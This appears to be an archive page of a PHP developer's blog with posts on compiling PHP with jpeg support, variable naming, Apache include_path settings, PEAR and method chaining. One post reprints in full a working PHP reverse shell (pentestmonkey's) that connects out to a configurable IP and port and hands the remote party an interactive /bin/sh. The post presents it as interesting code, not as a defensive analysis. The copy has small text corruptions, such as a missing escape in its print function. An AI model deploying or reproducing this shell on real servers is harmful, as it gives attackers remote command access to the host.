Archive

Archive for the ‘PHP’ Category

Compiling PHP With “–with-jpeg-dir” Not Working?

April 10th, 2009

Had this strange issue a couple of days ago, where the following compile command didn’t give me the expected results (ability to use imagecreatefromjpeg() function). 

./configure --with-gd --with-jpeg-dir=/usr/lib
make
make test

The “make test” yielded the following results.

SKIP gif –> jpeg conversion test [ext/gd/tests/gif2jpg.phpt] reason: jpeg support unavailable
SKIP jpeg <–> png conversion test [ext/gd/tests/jpeg2png.phpt] reason: jpeg support unavailable
SKIP jpeg <–> gd1/gd2 conversion test [ext/gd/tests/jpg2gd.phpt] reason: jpeg support unavailable

Not exactly what I expected, because the libjpeg library existed in /usr/lib/libjpeg.so. Here’s what managed to fix it, running a “make clean” first, and changing the order of the “–with-gd” and “–with-jpeg-dir” parameters.

make clean
./configure --with-jpeg-dir=/usr/lib --with-gd
make
make test

And a make test now passes on the jpeg!

PASS gif –> jpeg conversion test [ext/gd/tests/gif2jpg.phpt]
PASS jpeg <–> png conversion test [ext/gd/tests/jpeg2png.phpt]
PASS jpeg <–> gd1/gd2 conversion test [ext/gd/tests/jpg2gd.phpt]

Tricky bugger this was …

Matti PHP , , , ,

On The Subject Of Naming Variables

March 22nd, 2009

It happens to everyone. You’re typing hundreds and thousands of lines of code, and you suddenly find yourself stuck. You need to come up with the name of a new variable, and you can’t find one. It’s something so incredibly easy, yet you can’t think of a name for it.

That’s because deep down, you _know_ it’s not easy. You know this variable will come back to haunt you weeks later when you’re maintaining the code, and forgot what data it held. While there’s nothing as easy as naming all variables $a, $b, $c, … it just doesn’t cut it in the long term.

Let’s kick it off with some wrongfully named variable examples. Don’t use overly descriptive words in variable names. While the content of the variable may change, the variable’s name usually doesn’t. Take the following CSS snippet.

.left_content_green {
	color: green;
	padding: 5px;
}

While this might seem like a good idea, it’s really not. Since CSS is ment as a way to manage your site’s layout & mark-up in a centralized place, changing styles, content, … is a piece-of-cake through a couple of CSS files. But naming your class “left_content_green” will make it horribly complicated to maintain once you decide to change its color to red. You’re only supposed to change it in the CSS, not change the class name inside your project. Now your class called “left_content_green” is causing your content to turn red.

Be clear. While it may sound simple, clean and easy variable names apparently don’t come easy. Consider the following two pieces of code. Both perform the same action, yet one of them is remarkably easier to read & manage .

while (!$notRunning) {
	// Do something, until completed
}
 
while ($running) {
	// Do something, until completed
}

The first while-loop can cause confusion. A double negative (“while not NotRunning, do this”) will add complexity where it’s not needed. The second loop, stating “while running, do this” is both easier to understand, and to write.

Keep your variable name, datatype & content aligned. This mostly holds true for loosely defined languages, such as PHP, where you can change the datatype of a variable on-the-fly, without problems. Just don’t do this, for _whatever_ reason there might be (and I’ve seen this happen all too often).

// Start the script
$intStartingNumber = 5;
for ($i = 0; $i < $intStartingNumber; $i++) {
	echo $i;
}
 
// Add 15k+ lines of code ...
 
// Hey look, a variable $intStartingNumber that we haven't used in a while
$intStartingNumber = "five";
for ($j = 0; $j < 5; $j++) {
	echo $intStartingNumber;
}

If you don’t recognise the scenario above, consider yourself lucky. It’s a common mistake found in almost every PHP script. If you reuse your variable (which is fine – don’t get me wrong), make sure the variable is atleast still named properly.

Matti PHP , , ,

‘php_admin_value’ Bug When Overwriting PHP Settings

March 7th, 2009

If you want to overwrite certain settings for a particular directory, you can either use a .htaccess file or edit the apache config file. One of those changes, could be to alter the include_path for PHP for certain projects. Normally, you’d do this.

<Directory “/var/www/vhosts/xxx/httpdocs/”>
        php_admin_value include_path “/var/www/<loc>/:/usr/share/pear/:/tmp/”
</Directory>

You might run into some unexpected results, where the include_path isn’t actually changed, and the files you’re trying to include aren’t being included.

Try changing it to this.

<Directory “/var/www/vhosts/xxx/httpdocs/”>
        php_value include_path “/var/www/<loc>/:/usr/share/pear/:/tmp/”
</Directory>

There’s currently a known bug (#43677 [resolved]) that causes unexpected results when using the php_admin_value. A quick fix is changing this to php_value. Release 5.2.6 made a permanent fix for this, but not every commercial hoster or commercial controlpanel immediately updates to the latest release. If you see strange behaviour for PEAR packages that aren’t being included, despite setting the include_path correctly – this might be the reason.

Matti PHP , , ,

Reverse Shell Implementation in PHP5

March 3rd, 2009

Here’s a very interesting PHP script found on a compromised Linux box. I won’t discuss how it got there (using/abusing exploits is not in the scope of this post, and shouldn’t be discussed in comments either).

Original credits for the author.

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

And now for the script itself. Let the magic begin!

set_time_limit (0);
$VERSION = "1.0";
$ip = 'xxx.xxx.xxx.xxx';  // CHANGE THIS
$port = 8080;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
 
//
// Daemonise ourself if possible to avoid zombies later
//
 
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
 
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
 
	if ($pid) {
		exit(0);  // Parent exits
	}
 
	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
 
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
//
// Do the reverse shell...
//
 
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
 
	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
 
	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
 
	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
 
	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$stringn";
	}
}
 
?>

It shows interesting usage of process forking and output/input stream usage. All credits go to the original creator, his info can be found inside the script or on his website.

Matti PHP , , ,

Input Validation: Using filter_var() Over Regular Expressions

February 7th, 2009

Just about the biggest time-sink on any project, is the amount of input validation that needs to be done. You _have_ to assume your visitor is a maniac serial killer, out to destroy your application. And you have to prevent it.

Thus starts our never-ending battle for user input validation. We can’t allow it all (think XSS or SQL Injection), so we check every value presented to us. Correct e-mail formats, IP’s, integers, HTML-code, …. Read more…

Matti PHP , , ,

PEAR:: Classes Worthy Of Attention

January 26th, 2009

PEAR offers an excellent framework for re-usable PHP components. A wide range of PEAR classes is available, from XML Parsers to Captcha’s and Mail components.

They’re all easy to install, and have extensive documentation available so you can get started right away. Here’s a list of some of the better, and probably lesser known ones.

  • PEAR::Mail
    PEAR’s Mail package defines an interface for implementing mailers under the PEAR hierarchy. It also provides supporting functions useful to multiple mailer backends. Currently supported backends include: PHP’s native mail() function, sendmail, and SMTP. This package also provides a RFC822 email address list validation utility class.
  • PEAR::XML_Parser
    This is an XML parser based on PHPs built-in xml extension. It supports two basic modes of operation: “func” and “event”. In “func” mode, it will look for a function named after each element (xmltag_ELEMENT for start tags and xmltag_ELEMENT_ for end tags), and in “event” mode it uses a set of generic callbacks.
  • PEAR::MIME_Type
    Provide functionality for dealing with MIME types, such as auto-detecting MIME type on files.
  • PEAR::Net_Socket
    Net_Socket is a class interface to TCP sockets. It provides blocking and non-blocking operation, with different reading and writing modes (byte-wise, block-wise, line-wise and special formats like network byte-order ip addresses). It provides the base class for other popular PEAR-classes such as Net_SMTP and HTTP_Request.
  • PEAR::Archive_Tar
    This class provides handling of tar files in PHP.
    It supports creating, listing, extracting and adding to tar files. Gzip support is available if PHP has the zlib extension built-in or loaded. Bz2 compression is also supported with the bz2 extension loaded.

The list of available packages goes on for miles, and includes a Facebook package, a Number-to-Words convertor, Command line Argument Parser, CAPTCHA generator, Barcode Generator, … Too much to mention!

For installation instructions, I’ll refer you to the following two posts:

I’m interested to know what PEAR packages you’re using, and why. Where do you draw the line between writing your own classes, and switching to PEAR’s?

Matti PHP ,

Install New PEAR Packages From The Linux CLI

January 24th, 2009

I previously wrote about how to Enable Pear Packages when using Plesk, here’s how to do it when you run your own LAMP stack.

First up, see if the PEAR management tool is already installed (the  command pear should be available).

mattias-laptop ~ # pear
The program ‘pear’ is currently not installed.  You can install it by typing:
apt-get install php-pear

If it’s not, simply install the package by issueing the command suggested.

mattias-laptop ~ # apt-get install php-pear
Reading package lists… Done
Building dependency tree
Reading state information… Done
….
Setting up php-pear (5.2.6-2ubuntu4) …

After installation of the management tool is completed, you can quickly install new PEAR packages like this.

pear install PackageName

A useful hint is that the Pear Packages which are missing, can be easily installed by typing in the full packagename. Here’s an example.

mattias-laptop # php -q test.php
Warning: require_once(Console/Getargs.php): failed to open stream: No such file or directory in /var/www/test/test.php on line 36

Fatal error: require_once(): Failed opening required ‘Console/Getargs.php’ (include_path=’.:/usr/share/php:/usr/share/pear’) in /var/www/test/test.php on line 36

The missing PEAR package “Console/Getargs.php” can be installed like this.

pear install Console_Getargs

Just replace each folder within the PEAR class by an underscore, leave out the “.php” extension, and you can install any PEAR package you want. That’s good news, because there are a lot of very useful PEAR packages around!

Matti PHP , ,

Method Chaining In PHP – Fluent Interface

January 23rd, 2009

The technical definition of “Fluent Interface”, as defined by Wikipedia, is: “An object oriented construct that defines a behavior capable of relaying the instruction context of a subsequent call.“. It’s just as sexy as it sounds.

In short: any Object Oriented language allows you to call upon a new method, directly followed by another one and still updating the same parent object.

Code explains this easier. The following examples creates a one-armed, one-legged and one-headed person.

class Person {
	public function addLeg() {
		// Adds a leg
	}
 
	public function addArm() {
		// Adds an arm
	}
 
	public function addHead() {
		// Adds a head
	}
 
	// .... and the list goes on
}
 
$person = new Person();
$person->addLeg();
$person->addArm();
$person->addHead();

After creating an instance of the object Person, we call upon every method once to add a certain body part.

If we slightly rewrite the class, by returning the object itself upon every method call, we can also write those method calls like this.

class Person {
	public function addLeg() {
		// Adds a leg
 
		return $this;
	}
 
	public function addArm() {
		// Adds an arm
 
		return $this;
	}
 
	public function addHead() {
		// Adds a head
 
		return $this;
	}
 
	// .... and the list goes on
}
 
$person = new Person();
$person->addLeg()->addArm()->addHead();

While this may, or may not, help in readability – the option to use Fluent Interfaces exist in PHP5 (and JavaScript as well, in the same way). It’ll depend on the situation whether or not this is useful. I can see this creating very chaotic code, and it’s a serious PITA to handle errors or exceptions this way.

Matti PHP , ,

Exception Handling In PHP5 – Good Cop, Bad Cop

January 17th, 2009

Exception handling. The “I’m so good, I don’t produce errors“-mentality can’t even save you from them. It’s bound to happen – either your code fails, or external libraries you’ve grown to accept produce faults outside of your control.

You need’m handled, it’s that simple.

And PHP offers you a couple of methods to “handle” errors, or warnings, generated by your PHP code. From basic Error Suppresion, to proper Exception Handling. Read more…

Matti PHP , , , ,

Save Bandwidth – Enable GZip Compression In PHP

December 22nd, 2008

GZip is a formidable way to save up on bandwidth, without hindering your users. It allows any script to pass its content by the compression tool first, before being sent out. The receiver will then receive the compressed file, and unpack it to show its content.

Browsers that don’t support GZip will automatically fall back to the normal way of sending out content: unzipped.

It’s a win-win situation. You save bandwidth, and don’t bother your users. So, let’s enable it. Read more…

Matti PHP , , , ,